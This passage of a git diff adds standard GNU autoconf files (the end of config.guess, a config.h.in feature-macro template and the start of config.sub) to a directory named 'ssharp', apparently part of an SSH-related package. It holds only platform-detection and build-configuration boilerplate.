mips-sni-sysv4 + exit 0 ;; + *:SINIX-*:*:*) + if uname -p 2>/dev/null >/dev/null ; then + UNAME_MACHINE=`(uname -p) 2>/dev/null` + echo ${UNAME_MACHINE}-sni-sysv4 + else + echo ns32k-sni-sysv + fi + exit 0 ;; + PENTIUM:CPunix:4.0*:*) # Unisys `ClearPath HMP IX 4000' SVR4/MP effort + # says + echo i586-unisys-sysv4 + exit 0 ;; + *:UNIX_System_V:4*:FTX*) + # From Gerald Hewes . + # How about differentiating between stratus architectures? -djm + echo hppa1.1-stratus-sysv4 + exit 0 ;; + *:*:*:FTX*) + # From seanf@swdc.stratus.com. + echo i860-stratus-sysv4 + exit 0 ;; + mc68*:A/UX:*:*) + echo m68k-apple-aux${UNAME_RELEASE} + exit 0 ;; + news*:NEWS-OS:*:6*) + echo mips-sony-newsos6 + exit 0 ;; + R[34]000:*System_V*:*:* | R4000:UNIX_SYSV:*:* | R*000:UNIX_SV:*:*) + if [ -d /usr/nec ]; then + echo mips-nec-sysv${UNAME_RELEASE} + else + echo mips-unknown-sysv${UNAME_RELEASE} + fi + exit 0 ;; + BeBox:BeOS:*:*) # BeOS running on hardware made by Be, PPC only. + echo powerpc-be-beos + exit 0 ;; + BeMac:BeOS:*:*) # BeOS running on Mac or Mac clone, PPC only. + echo powerpc-apple-beos + exit 0 ;; + BePC:BeOS:*:*) # BeOS running on Intel PC compatible. + echo i586-pc-beos + exit 0 ;; + SX-4:SUPER-UX:*:*) + echo sx4-nec-superux${UNAME_RELEASE} + exit 0 ;; + SX-5:SUPER-UX:*:*) + echo sx5-nec-superux${UNAME_RELEASE} + exit 0 ;; + Power*:Rhapsody:*:*) + echo powerpc-apple-rhapsody${UNAME_RELEASE} + exit 0 ;; + *:Rhapsody:*:*) + echo ${UNAME_MACHINE}-apple-rhapsody${UNAME_RELEASE} + exit 0 ;; + *:Darwin:*:*) + echo `uname -p`-apple-darwin${UNAME_RELEASE} + exit 0 ;; + *:procnto*:*:* | *:QNX:[0123456789]*:*) + if test "${UNAME_MACHINE}" = "x86pc"; then + UNAME_MACHINE=pc + fi + echo `uname -p`-${UNAME_MACHINE}-nto-qnx + exit 0 ;; + *:QNX:*:4*) + echo i386-pc-qnx + exit 0 ;; + NSR-W:NONSTOP_KERNEL:*:*) + echo nsr-tandem-nsk${UNAME_RELEASE} + exit 0 ;; + BS2000:POSIX*:*:*) + echo bs2000-siemens-sysv + exit 0 ;; + DS/*:UNIX_System_V:*:*) + echo ${UNAME_MACHINE}-${UNAME_SYSTEM}-${UNAME_RELEASE} + exit 0 ;; +esac + +#echo '(No uname command or uname output not recognized.)' 1>&2 +#echo "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" 1>&2 + +cat >$dummy.c < +# include +#endif +main () +{ +#if defined (sony) +#if defined (MIPSEB) + /* BFD wants "bsd" instead of "newsos". Perhaps BFD should be changed, + I don't know.... */ + printf ("mips-sony-bsd\n"); exit (0); +#else +#include + printf ("m68k-sony-newsos%s\n", +#ifdef NEWSOS4 + "4" +#else + "" +#endif + ); exit (0); +#endif +#endif + +#if defined (__arm) && defined (__acorn) && defined (__unix) + printf ("arm-acorn-riscix"); exit (0); +#endif + +#if defined (hp300) && !defined (hpux) + printf ("m68k-hp-bsd\n"); exit (0); +#endif + +#if defined (NeXT) +#if !defined (__ARCHITECTURE__) +#define __ARCHITECTURE__ "m68k" +#endif + int version; + version=`(hostinfo | sed -n 's/.*NeXT Mach \([0-9]*\).*/\1/p') 2>/dev/null`; + if (version < 4) + printf ("%s-next-nextstep%d\n", __ARCHITECTURE__, version); + else + printf ("%s-next-openstep%d\n", __ARCHITECTURE__, version); + exit (0); +#endif + +#if defined (MULTIMAX) || defined (n16) +#if defined (UMAXV) + printf ("ns32k-encore-sysv\n"); exit (0); +#else +#if defined (CMU) + printf ("ns32k-encore-mach\n"); exit (0); +#else + printf ("ns32k-encore-bsd\n"); exit (0); +#endif +#endif +#endif + +#if defined (__386BSD__) + printf ("i386-pc-bsd\n"); exit (0); +#endif + +#if defined (sequent) +#if defined (i386) + printf ("i386-sequent-dynix\n"); exit (0); +#endif +#if defined (ns32000) + printf ("ns32k-sequent-dynix\n"); exit (0); +#endif +#endif + +#if defined (_SEQUENT_) + struct utsname un; + + uname(&un); + + if (strncmp(un.version, "V2", 2) == 0) { + printf ("i386-sequent-ptx2\n"); exit (0); + } + if (strncmp(un.version, "V1", 2) == 0) { /* XXX is V1 correct? */ + printf ("i386-sequent-ptx1\n"); exit (0); + } + printf ("i386-sequent-ptx\n"); exit (0); + +#endif + +#if defined (vax) +#if !defined (ultrix) + printf ("vax-dec-bsd\n"); exit (0); +#else + printf ("vax-dec-ultrix\n"); exit (0); +#endif +#endif + +#if defined (alliant) && defined (i860) + printf ("i860-alliant-bsd\n"); exit (0); +#endif + + exit (1); +} +EOF + +$CC_FOR_BUILD $dummy.c -o $dummy 2>/dev/null && ./$dummy && rm $dummy.c $dummy && exit 0 +rm -f $dummy.c $dummy + +# Apollos put the system type in the environment. + +test -d /usr/apollo && { echo ${ISP}-apollo-${SYSTYPE}; exit 0; } + +# Convex versions that predate uname can use getsysinfo(1) + +if [ -x /usr/convex/getsysinfo ] +then + case `getsysinfo -f cpu_type` in + c1*) + echo c1-convex-bsd + exit 0 ;; + c2*) + if getsysinfo -f scalar_acc + then echo c32-convex-bsd + else echo c2-convex-bsd + fi + exit 0 ;; + c34*) + echo c34-convex-bsd + exit 0 ;; + c38*) + echo c38-convex-bsd + exit 0 ;; + c4*) + echo c4-convex-bsd + exit 0 ;; + esac +fi + +cat >&2 < in order to provide the needed +information to handle your system. + +config.guess version = $version + +uname -m = `(uname -m) 2>/dev/null || echo unknown` +uname -r = `(uname -r) 2>/dev/null || echo unknown` +uname -s = `(uname -s) 2>/dev/null || echo unknown` +uname -v = `(uname -v) 2>/dev/null || echo unknown` + +/usr/bin/uname -p = `(/usr/bin/uname -p) 2>/dev/null` +/bin/uname -X = `(/bin/uname -X) 2>/dev/null` + +hostinfo = `(hostinfo) 2>/dev/null` +/bin/universe = `(/bin/universe) 2>/dev/null` +/usr/bin/arch -k = `(/usr/bin/arch -k) 2>/dev/null` +/bin/arch = `(/bin/arch) 2>/dev/null` +/usr/bin/oslevel = `(/usr/bin/oslevel) 2>/dev/null` +/usr/convex/getsysinfo = `(/usr/convex/getsysinfo) 2>/dev/null` + +UNAME_MACHINE = ${UNAME_MACHINE} +UNAME_RELEASE = ${UNAME_RELEASE} +UNAME_SYSTEM = ${UNAME_SYSTEM} +UNAME_VERSION = ${UNAME_VERSION} +EOF + +exit 1 + +# Local variables: +# eval: (add-hook 'write-file-hooks 'time-stamp) +# time-stamp-start: "version='" +# time-stamp-format: "%:y-%02m-%02d" +# time-stamp-end: "'" +# End: diff --git a/other/ssharp/config.h.in b/other/ssharp/config.h.in new file mode 100644 index 0000000..36ea7fb --- /dev/null +++ b/other/ssharp/config.h.in @@ -0,0 +1,741 @@ +/* config.h.in. Generated automatically from configure.in by autoheader. */ +/* $Id: config.h.in,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +#ifndef _CONFIG_H +#define _CONFIG_H + +/* Generated automatically from acconfig.h by autoheader. */ +/* Please make your changes there */ + + +/* Define if the `getpgrp' function takes no argument. */ +#undef GETPGRP_VOID + +/* Define if your struct stat has st_blksize. */ +#undef HAVE_ST_BLKSIZE + +/* Define if you have the strftime function. */ +#undef HAVE_STRFTIME + +/* Define as __inline if that's what the C compiler calls it. */ +#undef inline + +/* Define if your processor stores words with the most significant + byte first (like Motorola and SPARC, unlike Intel and VAX). */ +#undef WORDS_BIGENDIAN + +/* Define to a Set Process Title type if your system is */ +/* supported by bsd-setproctitle.c */ +#undef SPT_TYPE + +/* SCO workaround */ +#undef BROKEN_SYS_TERMIO_H +#undef HAVE_BOGUS_SYS_QUEUE_H + +/* Define if you have SCO protected password database */ +#undef HAVE_SCO_PROTECTED_PW + +/* If your header files don't define LOGIN_PROGRAM, then use this (detected) */ +/* from environment and PATH */ +#undef LOGIN_PROGRAM_FALLBACK + +/* Define if your password has a pw_class field */ +#undef HAVE_PW_CLASS_IN_PASSWD + +/* Define if your system's struct sockaddr_un has a sun_len member */ +#undef HAVE_SUN_LEN_IN_SOCKADDR_UN + +/* Define if you system's inet_ntoa is busted (e.g. Irix gcc issue) */ +#undef BROKEN_INET_NTOA + +/* Define if your system defines sys_errlist[] */ +#undef HAVE_SYS_ERRLIST + +/* Define if your system defines sys_nerr */ +#undef HAVE_SYS_NERR + +/* Define if your system choked on IP TOS setting */ +#undef IP_TOS_IS_BROKEN + +/* Define if you have the getuserattr function. */ +#undef HAVE_GETUSERATTR + +/* Work around problematic Linux PAM modules handling of PAM_TTY */ +#undef PAM_TTY_KLUDGE + +/* Use PIPES instead of a socketpair() */ +#undef USE_PIPES + +/* Define if your snprintf is busted */ +#undef BROKEN_SNPRINTF + +/* Define if you are on Cygwin */ +#undef HAVE_CYGWIN + +/* Define if you lack native POSIX regex and you are using PCRE */ +#undef HAVE_LIBPCRE + +/* Define if you have a broken realpath. */ +#undef BROKEN_REALPATH + +/* Define if you are on NeXT */ +#undef HAVE_NEXT + +/* Define if you are on NEWS-OS */ +#undef HAVE_NEWS4 + +/* Define if you want to enable PAM support */ +#undef USE_PAM + +/* Define if you want to enable AIX4's authenticate function */ +#undef WITH_AIXAUTHENTICATE + +/* Define if you have/want arrays (cluster-wide session managment, not C arrays) */ +#undef WITH_IRIX_ARRAY + +/* Define if you want IRIX project management */ +#undef WITH_IRIX_PROJECT + +/* Define if you want IRIX audit trails */ +#undef WITH_IRIX_AUDIT + +/* Define if you want IRIX kernel jobs */ +#undef WITH_IRIX_JOBS + +/* Location of random number pool */ +#undef RANDOM_POOL + +/* Location of PRNGD/EGD random number socket */ +#undef PRNGD_SOCKET + +/* Port number of PRNGD/EGD random number socket */ +#undef PRNGD_PORT + +/* Builtin PRNG command timeout */ +#undef ENTROPY_TIMEOUT_MSEC + +/* Define if your ssl headers are included with #include */ +#undef HAVE_OPENSSL + +/* struct timeval */ +#undef HAVE_STRUCT_TIMEVAL + +/* struct utmp and struct utmpx fields */ +#undef HAVE_HOST_IN_UTMP +#undef HAVE_HOST_IN_UTMPX +#undef HAVE_ADDR_IN_UTMP +#undef HAVE_ADDR_IN_UTMPX +#undef HAVE_ADDR_V6_IN_UTMP +#undef HAVE_ADDR_V6_IN_UTMPX +#undef HAVE_SYSLEN_IN_UTMPX +#undef HAVE_PID_IN_UTMP +#undef HAVE_TYPE_IN_UTMP +#undef HAVE_TYPE_IN_UTMPX +#undef HAVE_TV_IN_UTMP +#undef HAVE_TV_IN_UTMPX +#undef HAVE_ID_IN_UTMP +#undef HAVE_ID_IN_UTMPX +#undef HAVE_EXIT_IN_UTMP +#undef HAVE_TIME_IN_UTMP +#undef HAVE_TIME_IN_UTMPX + +/* Define if you don't want to use your system's login() call */ +#undef DISABLE_LOGIN + +/* Define if you don't want to use pututline() etc. to write [uw]tmp */ +#undef DISABLE_PUTUTLINE + +/* Define if you don't want to use pututxline() etc. to write [uw]tmpx */ +#undef DISABLE_PUTUTXLINE + +/* Define if you don't want to use lastlog */ +#undef DISABLE_LASTLOG + +/* Define if you don't want to use utmp */ +#undef DISABLE_UTMP + +/* Define if you don't want to use utmpx */ +#undef DISABLE_UTMPX + +/* Define if you don't want to use wtmp */ +#undef DISABLE_WTMP + +/* Define if you don't want to use wtmpx */ +#undef DISABLE_WTMPX + +/* Define if you want to specify the path to your lastlog file */ +#undef CONF_LASTLOG_FILE + +/* Define if you want to specify the path to your utmp file */ +#undef CONF_UTMP_FILE + +/* Define if you want to specify the path to your wtmp file */ +#undef CONF_WTMP_FILE + +/* Define if you want to specify the path to your utmpx file */ +#undef CONF_UTMPX_FILE + +/* Define if you want to specify the path to your wtmpx file */ +#undef CONF_WTMPX_FILE + +/* Define is libutil has login() function */ +#undef HAVE_LIBUTIL_LOGIN + +/* Define if libc defines __progname */ +#undef HAVE___PROGNAME + +/* Define if you want Kerberos 4 support */ +#undef KRB4 + +/* Define if you want AFS support */ +#undef AFS + +/* Define if you want S/Key support */ +#undef SKEY + +/* Define if you want TCP Wrappers support */ +#undef LIBWRAP + +/* Define if your libraries define login() */ +#undef HAVE_LOGIN + +/* Define if your libraries define daemon() */ +#undef HAVE_DAEMON + +/* Define if your libraries define getpagesize() */ +#undef HAVE_GETPAGESIZE + +/* Define if xauth is found in your path */ +#undef XAUTH_PATH + +/* Define if rsh is found in your path */ +#undef RSH_PATH + +/* Define if you want to allow MD5 passwords */ +#undef HAVE_MD5_PASSWORDS + +/* Define if you want to disable shadow passwords */ +#undef DISABLE_SHADOW + +/* Define if you want to use shadow password expire field */ +#undef HAS_SHADOW_EXPIRE + +/* Define if you have Digital Unix Security Integration Architecture */ +#undef HAVE_OSF_SIA + +/* Define if you have an old version of PAM which takes only one argument */ +/* to pam_strerror */ +#undef HAVE_OLD_PAM + +/* Define if you are using Solaris-derived PAM which passes pam_messages */ +/* to the conversation function with an extra level of indirection */ +#undef PAM_SUN_CODEBASE + +/* Set this to your mail directory if you don't have maillock.h */ +#undef MAIL_DIRECTORY + +/* Data types */ +#undef HAVE_U_INT +#undef HAVE_INTXX_T +#undef HAVE_U_INTXX_T +#undef HAVE_UINTXX_T +#undef HAVE_INT64_T +#undef HAVE_U_INT64_T +#undef HAVE_SOCKLEN_T +#undef HAVE_SIZE_T +#undef HAVE_SSIZE_T +#undef HAVE_CLOCK_T +#undef HAVE_MODE_T +#undef HAVE_PID_T +#undef HAVE_SA_FAMILY_T +#undef HAVE_STRUCT_SOCKADDR_STORAGE +#undef HAVE_STRUCT_ADDRINFO +#undef HAVE_STRUCT_IN6_ADDR +#undef HAVE_STRUCT_SOCKADDR_IN6 + +/* Fields in struct sockaddr_storage */ +#undef HAVE_SS_FAMILY_IN_SS +#undef HAVE___SS_FAMILY_IN_SS + +/* Define if you have a regcomp() function */ +#undef HAVE_REGCOMP + +/* Define if you have /dev/ptmx */ +#undef HAVE_DEV_PTMX + +/* Define if you have /dev/ptc */ +#undef HAVE_DEV_PTS_AND_PTC + +/* Define if you need to use IP address instead of hostname in $DISPLAY */ +#undef IPADDR_IN_DISPLAY + +/* Specify default $PATH */ +#undef USER_PATH + +/* Specify location of ssh.pid */ +#undef _PATH_SSH_PIDDIR + +/* Use IPv4 for connection by default, IPv6 can still if explicity asked */ +#undef IPV4_DEFAULT + +/* If you have no atexit() but xatexit(), and want to use xatexit() */ +#undef HAVE_XATEXIT + +/* getaddrinfo is broken (if present) */ +#undef BROKEN_GETADDRINFO + +/* Workaround more Linux IPv6 quirks */ +#undef DONT_TRY_OTHER_AF + +/* Detect IPv4 in IPv6 mapped addresses and treat as IPv4 */ +#undef IPV4_IN_IPV6 + +/* Define if you have BSD auth support */ +#undef BSD_AUTH + +/* Define if X11 doesn't support AF_UNIX sockets on that system */ +#undef NO_X11_UNIX_SOCKETS + +/* Needed for SCO and NeXT */ +#undef BROKEN_SAVED_UIDS + +/* Define if your system glob() function has the GLOB_ALTDIRFUNC extension */ +#undef GLOB_HAS_ALTDIRFUNC + +/* Define if your system glob() function has gl_matchc options in glob_t */ +#undef GLOB_HAS_GL_MATCHC + +/* Define in your struct dirent expects you to allocate extra space for d_name */ +#undef BROKEN_ONE_BYTE_DIRENT_D_NAME + +/* The number of bytes in a char. */ +#undef SIZEOF_CHAR + +/* The number of bytes in a int. */ +#undef SIZEOF_INT + +/* The number of bytes in a long int. */ +#undef SIZEOF_LONG_INT + +/* The number of bytes in a long long int. */ +#undef SIZEOF_LONG_LONG_INT + +/* The number of bytes in a short int. */ +#undef SIZEOF_SHORT_INT + +/* Define if you have the __b64_ntop function. */ +#undef HAVE___B64_NTOP + +/* Define if you have the _getpty function. */ +#undef HAVE__GETPTY + +/* Define if you have the arc4random function. */ +#undef HAVE_ARC4RANDOM + +/* Define if you have the atexit function. */ +#undef HAVE_ATEXIT + +/* Define if you have the b64_ntop function. */ +#undef HAVE_B64_NTOP + +/* Define if you have the bcopy function. */ +#undef HAVE_BCOPY + +/* Define if you have the bindresvport_sa function. */ +#undef HAVE_BINDRESVPORT_SA + +/* Define if you have the clock function. */ +#undef HAVE_CLOCK + +/* Define if you have the endutent function. */ +#undef HAVE_ENDUTENT + +/* Define if you have the endutxent function. */ +#undef HAVE_ENDUTXENT + +/* Define if you have the fchmod function. */ +#undef HAVE_FCHMOD + +/* Define if you have the fchown function. */ +#undef HAVE_FCHOWN + +/* Define if you have the freeaddrinfo function. */ +#undef HAVE_FREEADDRINFO + +/* Define if you have the futimes function. */ +#undef HAVE_FUTIMES + +/* Define if you have the gai_strerror function. */ +#undef HAVE_GAI_STRERROR + +/* Define if you have the getaddrinfo function. */ +#undef HAVE_GETADDRINFO + +/* Define if you have the getcwd function. */ +#undef HAVE_GETCWD + +/* Define if you have the getgrouplist function. */ +#undef HAVE_GETGROUPLIST + +/* Define if you have the getluid function. */ +#undef HAVE_GETLUID + +/* Define if you have the getnameinfo function. */ +#undef HAVE_GETNAMEINFO + +/* Define if you have the getpwanam function. */ +#undef HAVE_GETPWANAM + +/* Define if you have the getrlimit function. */ +#undef HAVE_GETRLIMIT + +/* Define if you have the getrusage function. */ +#undef HAVE_GETRUSAGE + +/* Define if you have the gettimeofday function. */ +#undef HAVE_GETTIMEOFDAY + +/* Define if you have the getttyent function. */ +#undef HAVE_GETTTYENT + +/* Define if you have the getusershell function. */ +#undef HAVE_GETUSERSHELL + +/* Define if you have the getutent function. */ +#undef HAVE_GETUTENT + +/* Define if you have the getutid function. */ +#undef HAVE_GETUTID + +/* Define if you have the getutline function. */ +#undef HAVE_GETUTLINE + +/* Define if you have the getutxent function. */ +#undef HAVE_GETUTXENT + +/* Define if you have the getutxid function. */ +#undef HAVE_GETUTXID + +/* Define if you have the getutxline function. */ +#undef HAVE_GETUTXLINE + +/* Define if you have the glob function. */ +#undef HAVE_GLOB + +/* Define if you have the inet_aton function. */ +#undef HAVE_INET_ATON + +/* Define if you have the inet_ntoa function. */ +#undef HAVE_INET_NTOA + +/* Define if you have the inet_ntop function. */ +#undef HAVE_INET_NTOP + +/* Define if you have the innetgr function. */ +#undef HAVE_INNETGR + +/* Define if you have the login function. */ +#undef HAVE_LOGIN + +/* Define if you have the login_getcapbool function. */ +#undef HAVE_LOGIN_GETCAPBOOL + +/* Define if you have the logout function. */ +#undef HAVE_LOGOUT + +/* Define if you have the logwtmp function. */ +#undef HAVE_LOGWTMP + +/* Define if you have the md5_crypt function. */ +#undef HAVE_MD5_CRYPT + +/* Define if you have the memmove function. */ +#undef HAVE_MEMMOVE + +/* Define if you have the mkdtemp function. */ +#undef HAVE_MKDTEMP + +/* Define if you have the on_exit function. */ +#undef HAVE_ON_EXIT + +/* Define if you have the openpty function. */ +#undef HAVE_OPENPTY + +/* Define if you have the pam_getenvlist function. */ +#undef HAVE_PAM_GETENVLIST + +/* Define if you have the pututline function. */ +#undef HAVE_PUTUTLINE + +/* Define if you have the pututxline function. */ +#undef HAVE_PUTUTXLINE + +/* Define if you have the realpath function. */ +#undef HAVE_REALPATH + +/* Define if you have the rresvport_af function. */ +#undef HAVE_RRESVPORT_AF + +/* Define if you have the setdtablesize function. */ +#undef HAVE_SETDTABLESIZE + +/* Define if you have the setegid function. */ +#undef HAVE_SETEGID + +/* Define if you have the setenv function. */ +#undef HAVE_SETENV + +/* Define if you have the seteuid function. */ +#undef HAVE_SETEUID + +/* Define if you have the setlogin function. */ +#undef HAVE_SETLOGIN + +/* Define if you have the setluid function. */ +#undef HAVE_SETLUID + +/* Define if you have the setproctitle function. */ +#undef HAVE_SETPROCTITLE + +/* Define if you have the setresgid function. */ +#undef HAVE_SETRESGID + +/* Define if you have the setreuid function. */ +#undef HAVE_SETREUID + +/* Define if you have the setrlimit function. */ +#undef HAVE_SETRLIMIT + +/* Define if you have the setsid function. */ +#undef HAVE_SETSID + +/* Define if you have the setutent function. */ +#undef HAVE_SETUTENT + +/* Define if you have the setutxent function. */ +#undef HAVE_SETUTXENT + +/* Define if you have the sigaction function. */ +#undef HAVE_SIGACTION + +/* Define if you have the sigvec function. */ +#undef HAVE_SIGVEC + +/* Define if you have the snprintf function. */ +#undef HAVE_SNPRINTF + +/* Define if you have the strerror function. */ +#undef HAVE_STRERROR + +/* Define if you have the strlcat function. */ +#undef HAVE_STRLCAT + +/* Define if you have the strlcpy function. */ +#undef HAVE_STRLCPY + +/* Define if you have the strmode function. */ +#undef HAVE_STRMODE + +/* Define if you have the strsep function. */ +#undef HAVE_STRSEP + +/* Define if you have the strtok_r function. */ +#undef HAVE_STRTOK_R + +/* Define if you have the sysconf function. */ +#undef HAVE_SYSCONF + +/* Define if you have the tcgetpgrp function. */ +#undef HAVE_TCGETPGRP + +/* Define if you have the time function. */ +#undef HAVE_TIME + +/* Define if you have the updwtmp function. */ +#undef HAVE_UPDWTMP + +/* Define if you have the utimes function. */ +#undef HAVE_UTIMES + +/* Define if you have the utmpname function. */ +#undef HAVE_UTMPNAME + +/* Define if you have the utmpxname function. */ +#undef HAVE_UTMPXNAME + +/* Define if you have the vhangup function. */ +#undef HAVE_VHANGUP + +/* Define if you have the vis function. */ +#undef HAVE_VIS + +/* Define if you have the vsnprintf function. */ +#undef HAVE_VSNPRINTF + +/* Define if you have the waitpid function. */ +#undef HAVE_WAITPID + +/* Define if you have the header file. */ +#undef HAVE_BSTRING_H + +/* Define if you have the header file. */ +#undef HAVE_CRYPT_H + +/* Define if you have the header file. */ +#undef HAVE_ENDIAN_H + +/* Define if you have the header file. */ +#undef HAVE_FLOATINGPOINT_H + +/* Define if you have the header file. */ +#undef HAVE_GETOPT_H + +/* Define if you have the header file. */ +#undef HAVE_GLOB_H + +/* Define if you have the header file. */ +#undef HAVE_KRB_H + +/* Define if you have the header file. */ +#undef HAVE_LASTLOG_H + +/* Define if you have the header file. */ +#undef HAVE_LIBUTIL_H + +/* Define if you have the header file. */ +#undef HAVE_LIMITS_H + +/* Define if you have the header file. */ +#undef HAVE_LOGIN_H + +/* Define if you have the header file. */ +#undef HAVE_LOGIN_CAP_H + +/* Define if you have the header file. */ +#undef HAVE_MAILLOCK_H + +/* Define if you have the header file. */ +#undef HAVE_NETDB_H + +/* Define if you have the header file. */ +#undef HAVE_NETGROUP_H + +/* Define if you have the header file. */ +#undef HAVE_NETINET_IN_SYSTM_H + +/* Define if you have the header file. */ +#undef HAVE_PATHS_H + +/* Define if you have the header file. */ +#undef HAVE_POLL_H + +/* Define if you have the header file. */ +#undef HAVE_PTY_H + +/* Define if you have the header file. */ +#undef HAVE_REGEX_H + +/* Define if you have the header file. */ +#undef HAVE_SECURITY_PAM_APPL_H + +/* Define if you have the header file. */ +#undef HAVE_SHADOW_H + +/* Define if you have the header file. */ +#undef HAVE_STDDEF_H + +/* Define if you have the header file. */ +#undef HAVE_SYS_BITYPES_H + +/* Define if you have the header file. */ +#undef HAVE_SYS_BSDTTY_H + +/* Define if you have the header file. */ +#undef HAVE_SYS_CDEFS_H + +/* Define if you have the header file. */ +#undef HAVE_SYS_POLL_H + +/* Define if you have the header file. */ +#undef HAVE_SYS_QUEUE_H + +/* Define if you have the header file. */ +#undef HAVE_SYS_SELECT_H + +/* Define if you have the header file. */ +#undef HAVE_SYS_STAT_H + +/* Define if you have the header file. */ +#undef HAVE_SYS_STROPTS_H + +/* Define if you have the header file. */ +#undef HAVE_SYS_SYSMACROS_H + +/* Define if you have the header file. */ +#undef HAVE_SYS_TIME_H + +/* Define if you have the header file. */ +#undef HAVE_SYS_TTCOMPAT_H + +/* Define if you have the header file. */ +#undef HAVE_SYS_UN_H + +/* Define if you have the header file. */ +#undef HAVE_TIME_H + +/* Define if you have the header file. */ +#undef HAVE_TTYENT_H + +/* Define if you have the header file. */ +#undef HAVE_USERSEC_H + +/* Define if you have the header file. */ +#undef HAVE_UTIL_H + +/* Define if you have the header file. */ +#undef HAVE_UTIME_H + +/* Define if you have the header file. */ +#undef HAVE_UTMP_H + +/* Define if you have the header file. */ +#undef HAVE_UTMPX_H + +/* Define if you have the header file. */ +#undef HAVE_VIS_H + +/* Define if you have the des library (-ldes). */ +#undef HAVE_LIBDES + +/* Define if you have the des425 library (-ldes425). */ +#undef HAVE_LIBDES425 + +/* Define if you have the dl library (-ldl). */ +#undef HAVE_LIBDL + +/* Define if you have the krb library (-lkrb). */ +#undef HAVE_LIBKRB + +/* Define if you have the krb4 library (-lkrb4). */ +#undef HAVE_LIBKRB4 + +/* Define if you have the nsl library (-lnsl). */ +#undef HAVE_LIBNSL + +/* Define if you have the pam library (-lpam). */ +#undef HAVE_LIBPAM + +/* Define if you have the resolv library (-lresolv). */ +#undef HAVE_LIBRESOLV + +/* Define if you have the socket library (-lsocket). */ +#undef HAVE_LIBSOCKET + +/* Define if you have the z library (-lz). */ +#undef HAVE_LIBZ + +/* ******************* Shouldn't need to edit below this line ************** */ + +#include "defines.h" + +#endif /* _CONFIG_H */ diff --git a/other/ssharp/config.sub b/other/ssharp/config.sub new file mode 100755 index 0000000..0997570 --- /dev/null +++ b/other/ssharp/config.sub @@ -0,0 +1,1312 @@ +#! /bin/sh +# Configuration validation subroutine script, version 1.1. +# Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000 +# Free Software Foundation, Inc. + +version='2000-06-10' + +# This file is (in principle) common to ALL GNU software. +# The presence of a machine in this file suggests that SOME GNU software +# can handle that machine. It does not imply ALL GNU software can. +# +# This file is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place - Suite 330, +# Boston, MA 02111-1307, USA. + +# As a special exception to the GNU General Public License, if you +# distribute this file as part of a program that contains a +# configuration script generated by Autoconf, you may include it under +# the same distribution terms that you use for the rest of that program. + +# Written by Per Bothner . +# Please send patches to . +# +# Configuration subroutine to validate and canonicalize a configuration type. +# Supply the specified configuration type as an argument. +# If it is invalid, we print an error message on stderr and exit with code 1. +# Otherwise, we print the canonical config type on stdout and succeed. + +# This file is supposed to be the same for all GNU packages +# and recognize all the CPU types, system types and aliases +# that are meaningful with *any* GNU software. +# Each package is responsible for reporting which valid configurations +# it does not support. The user should be able to distinguish +# a failure to support a valid configuration from a meaningless +# configuration. + +# The goal of this file is to map all the various variations of a given +# machine specification into a single specification in the form: +# CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM +# or in some cases, the newer four-part form: +# CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM +# It is wrong to echo any other type of specification. + +me=`echo "$0" | sed -e 's,.*/,,'` + +usage="\ +Usage: $0 [OPTION] CPU-MFR-OPSYS + $0 [OPTION] ALIAS + +Canonicalize a configuration name. + +Operation modes: + -h, --help print this help, then exit + -V, --version print version number, then exit" + +help=" +Try \`$me --help' for more information." + +# Parse command line +while test $# -gt 0 ; do + case "$1" in + --version | --vers* | -V ) + echo "$version" ; exit 0 ;; + --help | --h* | -h ) + echo "$usage"; exit 0 ;; + -- ) # Stop option processing + shift; break ;; + - ) # Use stdin as input. + break ;; + -* ) + exec >&2 + echo "$me: invalid option $1" + echo "$help" + exit 1 ;; + + *local*) + # First pass through any local machine types. + echo $1 + exit 0;; + + * ) + break ;; + esac +done + +case $# in + 0) echo "$me: missing argument$help" >&2 + exit 1;; + 1) ;; + *) echo "$me: too many arguments$help" >&2 + exit 1;; +esac + +# Separate what the user gave into CPU-COMPANY and OS or KERNEL-OS (if any). +# Here we must recognize all the valid KERNEL-OS combinations. +maybe_os=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\2/'` +case $maybe_os in + nto-qnx* | linux-gnu*) + os=-$maybe_os + basic_machine=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\1/'` + ;; + *) + basic_machine=`echo $1 | sed 's/-[^-]*$//'` + if [ $basic_machine != $1 ] + then os=`echo $1 | sed 's/.*-/-/'` + else os=; fi + ;; +esac + +### Let's recognize common machines as not being operating systems so +### that things like config.sub decstation-3100 work. We also +### recognize some manufacturers as not being operating systems, so we +### can provide default operating systems below. +case $os in + -sun*os*) + # Prevent following clause from handling this invalid input. + ;; + -dec* | -mips* | -sequent* | -encore* | -pc532* | -sgi* | -sony* | \ + -att* | -7300* | -3300* | -delta* | -motorola* | -sun[234]* | \ + -unicom* | -ibm* | -next | -hp | -isi* | -apollo | -altos* | \ + -convergent* | -ncr* | -news | -32* | -3600* | -3100* | -hitachi* |\ + -c[123]* | -convex* | -sun | -crds | -omron* | -dg | -ultra | -tti* | \ + -harris | -dolphin | -highlevel | -gould | -cbm | -ns | -masscomp | \ + -apple | -axis) + os= + basic_machine=$1 + ;; + -sim | -cisco | -oki | -wec | -winbond) + os= + basic_machine=$1 + ;; + -scout) + ;; + -wrs) + os=-vxworks + basic_machine=$1 + ;; + -hiux*) + os=-hiuxwe2 + ;; + -sco5) + os=-sco3.2v5 + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -sco4) + os=-sco3.2v4 + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -sco3.2.[4-9]*) + os=`echo $os | sed -e 's/sco3.2./sco3.2v/'` + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -sco3.2v[4-9]*) + # Don't forget version if it is 3.2v4 or newer. + basic_machine=`echo $1 | 